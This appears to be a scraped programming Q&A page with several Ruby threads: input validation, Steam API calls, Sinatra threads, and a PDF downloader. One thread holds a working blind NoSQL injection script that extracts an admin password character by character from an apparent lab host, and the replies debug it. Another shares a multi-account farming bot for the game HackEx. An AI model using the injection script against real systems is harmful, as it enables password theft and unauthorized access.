I don't understand why this method isn't working. when I put in a value that should pass the if statement it doesn't work.
def getBase
puts "What is the base URL for the test?"
x = gets
if (x.include? 'http://') && ((x.split('.').at(x.split('.').length - 1).length) == 3)
return x
else
puts "That is in the incorrect format."
puts "Please format your url like this"
puts "http://example.com"
getBase
end
end
input 'http://test.com'
result: statement repeats and does not exit recursion
When you get input with gets it includes the newline \n at the end (from the user hitting return). So your x is actually "http://test.com\n".
To get rid of this use String#chomp:
x = gets.chomp
That should do it.
If the purpose is to enforce correct URL format and/or make sure it's an HTTP URL, why don't you use a tool designed to do that? Ruby's URI class is your friend:
require 'uri'
URI.parse('http://foo.bar').is_a?(URI::HTTP)
=> true
URI.parse('ftp://foo.bar').is_a?(URI::HTTP)
=> false
URI.parse('file://foo.bar').is_a?(URI::HTTP)
=> false
URI.parse('foo.bar').is_a?(URI::HTTP)
=> false
I'd write the code more like this:
require 'uri'
def get_base
loop do
puts "What is the base URL for the test?"
x = gets.chomp
begin
uri = URI.parse(x)
return uri.to_s if uri.is_a?(URI::HTTP)
rescue URI::InvalidURIError
end
puts "That is in the incorrect format."
puts "Please format your URL like this:"
puts
puts " http://example.com"
end
end
puts "Got: #{ get_base() }"
Related
im doing one of the tasks to retrieve more information from the NoSQL database using ruby .everytime i run the code im getting syntax error
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
There is a typo while is a keyword and need to be written in downcase.
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
Btw. proper indention and some white improves readability a lot.
Its an issue with httparty gem.
First, install the same. also I made some changes in code.
The code is running but still not getting the result.
I have made below changes :
require 'httparty'
URL=(URI.encode 'myurl')
def check?(str)
resp = HTTParty.get(URI.encode "http://myurl/?search=admin%27%20%26%26%20this.password.match(#/{str}/)%00")
return resp.body =~ />admin
puts check?("5").inspect
puts check?("aaa").inspect
It is recommended to use URI.encode function.
I still trying to get the desired output.
I hope I will get the result.
You can modify the script or let me know if you had success in running the script.
i am new to programming in ruby, and i am trying to get the value of json['earning_rate_hr'] but i get an error, in '[]': no implicit conversion of String into Integer (TypeError)
i know and i understand the error, however this is not my main question here is my file :
checkingchecker.rb :
#require_relative '../lib/hackex/net/typhoeus'
require_relative '../lib/hackex'
require 'rubygems'
require 'json'
file = 'accounts1.txt'
f = File.open file, 'r'
puts "MADE BY THE PEOPLE, FOR THE PEOPLE #madebylorax"
puts ""
puts "--------------------------------------------------------"
puts ""
while line = f.gets
line = line.chomp.split(';')
email, password = line
puts "logging in as " + email
HackEx.LoginDo(email, password) do |http, auth_token, user|
puts "getting info..."
user = HackEx::Request.Do(http, HackEx::Request.UserInfo(auth_token))['user']
puts "receieved user info!"
bank = HackEx::Request.Do(http, HackEx::Request.UserBank(auth_token))['user_bank']
puts "recieved bank info!"
json = HackEx::Request.Do(http, HackEx::Request.UserSpam(auth_token))['spam']
puts "recieved spam info!"
puts json['earning_rate_hr'] #error line, the error is because this is an array, and it cant be turned into integer, i was wondering if there is a way to use puts on it without trying to make it an integer
userchecking = bank["checking"]
checking = userchecking.scan(/.{1,3}/).join(',')
puts email + " has in Checking: BTC #{checking}"
puts ""
puts "--------------------------------------------------------"
puts ""
end
end
i tried to do puts json, it puts items like this one :
{"id"=>"9867351", "user_id"=>"289108", "victim_user_id"=>"1512021",
"victim_ip"=
"86.60.226.175", "spam_level"=>"50", "earning_rate_hr"=>"24300", "total_earning s"=>"13267800", "started_at"=>"2015-11-01 07:46:59",
"last_collected_at"=>"2015- 11-24 01:46:59"}
what i want to do is select the earning_rate_hr for each one of them and add them together, however i do not have a clue on how to do that, since the error is not fixed and i cant get the value of it
ps : i tried turning it into a Hash, and i also tried using .first, but .first only shows the firs one, i want to show all of them, thank you
I know you from line messenger, I haven't used ruby codes in a long time and this one keeps giving me cloudflare errors, I'm not sure if its because of server downtime/maintainance or whatever but yeah anyway heres your script, enjoy farming ;) -LineOne
PS, I changed a few strings to make it look a lil cleaner so you can see the spam income easier, and added the sleep (1) because sleeping for one second before reconnecting helps to prevent cloudflare errors
also you don't need to require json or rubygems in your hackex scripts because its required in the library so its all covered pre-user-input/script
require_relative 'libv5/lib/hackex'
while 1<2
begin
print'Filename: '
fn=gets.chomp
file = fn+'.txt'
f = File.open file, 'r'
puts "MADE BY THE PEOPLE, FOR THE PEOPLE #madebylorax" #helped by lineone
puts ""
puts "--------------------------------------------------------"
puts ""
while line = f.gets
line = line.chomp.split(';')
email, password = line
HackEx.LoginDo(email, password) do |http, auth_token, user|
puts "Retrieving Info..."
puts''
user = HackEx::Request.Do(http, HackEx::Request.UserInfo(auth_token))['user']
bank = HackEx::Request.Do(http, HackEx::Request.UserBank(auth_token))['user_bank']
json = HackEx::Request.Do(http, HackEx::Request.UserSpam(auth_token))['spam']
cash_count=0
tot_count=0
json.each do |j|
earn_rate = j['earning_rate_hr']
total= j['total_earnings']
cash_count+=earn_rate.to_i
tot_count+=total.to_i
end
print "#{email}: current earnings: #{cash_count} per hour, Total earnings #{tot_count},"
userchecking = bank["checking"]
checking = userchecking.scan(/.{1,3}/).join(',')
puts " #{checking} BTC in Checking"
puts ""
puts "--------------------------------------------------------"
puts ""
sleep 1
end
end
rescue
puts"#{$!}"
end
end
Thats fine you can also calculate the total income of your farms by adding new variables at the top example a=0 then adding the number at the end a+=tot_count
This should help:
earning_rates = json.map{|e| e["earning_rate_hr"]}
puts "Earning rates per hour: #{earning_rates.join(" ")}"
puts "Sum of earning rates: #{earning_rates.map{|e| e.to_i}.inject{|sum, x| sum + x}}"
Im trying to practice pulling APIs with Ruby. Im trying to pull videogame news from Steam.
Below is my code.
The idea is, when the program is ran, the the user is prompted to enter a game ID between 200 and 440.
Anything not in between dont exist or the numbers arent continuous.
Anyway, Im trying to pass the gameID variable into the string:
"http://api.steampowered.com/ISteamNews/GetNewsForApp/v0002/?appid=#{gameID}&count=5&maxlength=300&format=json"
The string is wrapped in a function. When I try to run the program, the error says wrong number of arguments ( 0 for 1 ).
What am i doing wrong, and what am I missing? Many thanks in advance as usual :)
*been doing nothing but asking questions so far, hope to contribute someday once I get better :)
require 'json'
require 'HTTParty'
puts "----------------------------------------------------------"
puts "Welcome to my practice"
puts "The purpose of this exercise is to use the SteamAPI"
puts "to pull videogame news from Steam"
puts "----------------------------------------------------------"
reset = true
while reset
puts "Please enter a game ID between 200 - 440"
gameID = gets.to_i
if gameID < 200
puts "--Invalid input--"
reset = true
elsif gameID > 400
puts "--Invalid input--"
reset= true
else
reset = false
end
end
puts "--------------------Loading API----------------------------"
def get_news( gameID )
string = "http://api.steampowered.com/ISteamNews/GetNewsForApp/v0002/?appid=#{gameID}&count=5&maxlength=300&format=json"
page = HTTParty.get( string )
browse = page["appnews"]["newsitems"]
browse.map do |content|
{title: content["title"], contents: content["contents"]}
end
end
def display_story( content )
puts "Title: #{content[:title]}"
puts "--------------------"
puts " #{content[:contents]}"
puts "--------------------"
end
get_news.each do |content|
display_story( content )
end
You've defined get_news to take a gameID argument, but you haven't passed it anything. At the end of your file, you need get_news(gameID).each.
I want to bulid a multi threaded application. If i do not use threads, everything works fine. When i try to use threads, then nothing is displayed on the browser. when i use the syntax 'puts "%s" %io.read' then it displays on the command prompt and not on the browser. Any help would be appreciated.
require 'sinatra'
require 'thread'
set :environment, :production
get '/price/:upc/:rtype' do
Webupc = "#{params[:upc]}"
Webformat = "#{params[:rtype]}"
MThread = Thread.new do
puts "inside thread"
puts "a = %s" %Webupc
puts "b = %s" %Webformat
#call the price
Maxupclen = 16
padstr = ""
padupc = ""
padlen = (Maxupclen - Webupc.length)
puts "format type: #{params[:rtype]}"
puts "UPC: #{params[:upc]}"
puts "padlen: %s" %padlen
if (Webformat == 'F')
puts "inside format"
if (padlen == 0 ) then
IO.popen("tstprcpd.exe #{Webupc}")
{ |io|
"%s" %io.read
}
elsif (padlen > 0 ) then
for i in 1 .. padlen
padstr = padstr + "0"
end
padupc = padstr + Webupc
puts "padupc %s" %padupc
IO.popen("tstprcpd.exe #{padupc}") { |io|
"%s" %io.read
}
elsif (padlen < 0 ) then
IO.popen("date /T") { |io|
"UPC length must be 16 digits or less." %io.read
}
end
end
end
end
Your code has several problems:
It is not formatted properly
You are using Uppercase names for variables; that makes them constants!
puts will not output to the browser, but to the console. The browser will recieve the return value of the block, i.e. the return value of the last statement in the block. Therefore, you need to build your output differently (see below).
You are never joining the thread
Here's a minimal sinatra app that uses a thread. However, the thread makes no sense in this case because you must wait for its termination anyway before you can output the result to the browser. In order to build the output I have used StringIO, which you can use with puts to build a multiline string conveniently. However, you could also simply initialize res with an empty string with res = "" and then append your lines to this string with res << "new line\n".
require 'sinatra'
require 'thread'
require 'stringio'
get '/' do
res = StringIO.new
th = Thread.new do
res.puts 'Hello, world!'
end
th.join
res.string
end
I'm doing a scraper to download all the issues of The Exile available at http://exile.ru/archive/list.php?IBLOCK_ID=35&PARAMS=ISSUE.
So far, my code is like this:
require 'rubygems'
require 'open-uri'
DATA_DIR = "exile"
Dir.mkdir(DATA_DIR) unless File.exists?(DATA_DIR)
BASE_exile_URL = "http://exile.ru/docs/pdf/issues/exile"
for number in 120..290
numero = BASE_exile_URL + number.to_s + ".pdf"
puts "Downloading issue #{number}"
open(numero) { |f|
File.open("#{DATA_DIR}/#{number}.pdf",'w') do |file|
file.puts f.read
end
}
end
puts "done"
The thing is, a lot of the issue links are down, and the code creates a PDF for every issue and, if it's empty, it will leave an empty PDF. How can I change the code so that it can only create and copy a file if the link exists?
require 'open-uri'
DATA_DIR = "exile"
Dir.mkdir(DATA_DIR) unless File.exists?(DATA_DIR)
url_template = "http://exile.ru/docs/pdf/issues/exile%d.pdf"
filename_template = "#{DATA_DIR}/%d.pdf"
(120..290).each do |number|
pdf_url = url_template % number
print "Downloading issue #{number}"
# Opening the URL downloads the remote file.
open(pdf_url) do |pdf_in|
if pdf_in.read(4) == '%PDF'
pdf_in.rewind
File.open(filename_template % number,'w') do |pdf_out|
pdf_out.write(pdf_in.read)
end
print " OK\n"
else
print " #{pdf_url} is not a PDF\n"
end
end
end
puts "done"
open(url) downloads the file and provides a handle to a local temp file. A PDF starts with '%PDF'. After reading the first 4 characters, if the file is a PDF, the file pointer has to be put back to the beginning to capture the whole file when writing a local copy.
you can use this code to check if exist the file:
require 'net/http'
def exist_the_pdf?(url_pdf)
url = URI.parse(url_pdf)
Net::HTTP.start(url.host, url.port) do |http|
puts http.request_head(url.path)['content-type'] == 'application/pdf'
end
end
Try this:
require 'rubygems'
require 'open-uri'
DATA_DIR = "exile"
Dir.mkdir(DATA_DIR) unless File.exists?(DATA_DIR)
BASE_exile_URL = "http://exile.ru/docs/pdf/issues/exile"
for number in 120..290
numero = BASE_exile_URL + number.to_s + ".pdf"
open(numero) { |f|
content = f.read
if content.include? "Link is missing"
puts "Issue #{number} doesnt exists"
else
puts "Issue #{number} exists"
File.open("./#{number}.pdf",'w') do |file|
file.write(content)
end
end
}
end
puts "done"
The main thing I added is a check to see if the string "Link is missing". I wanted to do it using HTTP status codes but they always give a 200 back, which is not the best practice.
The thing to note is that with my code you always download the whole site to look for that string, but I don't have any other idea to fix it at the moment.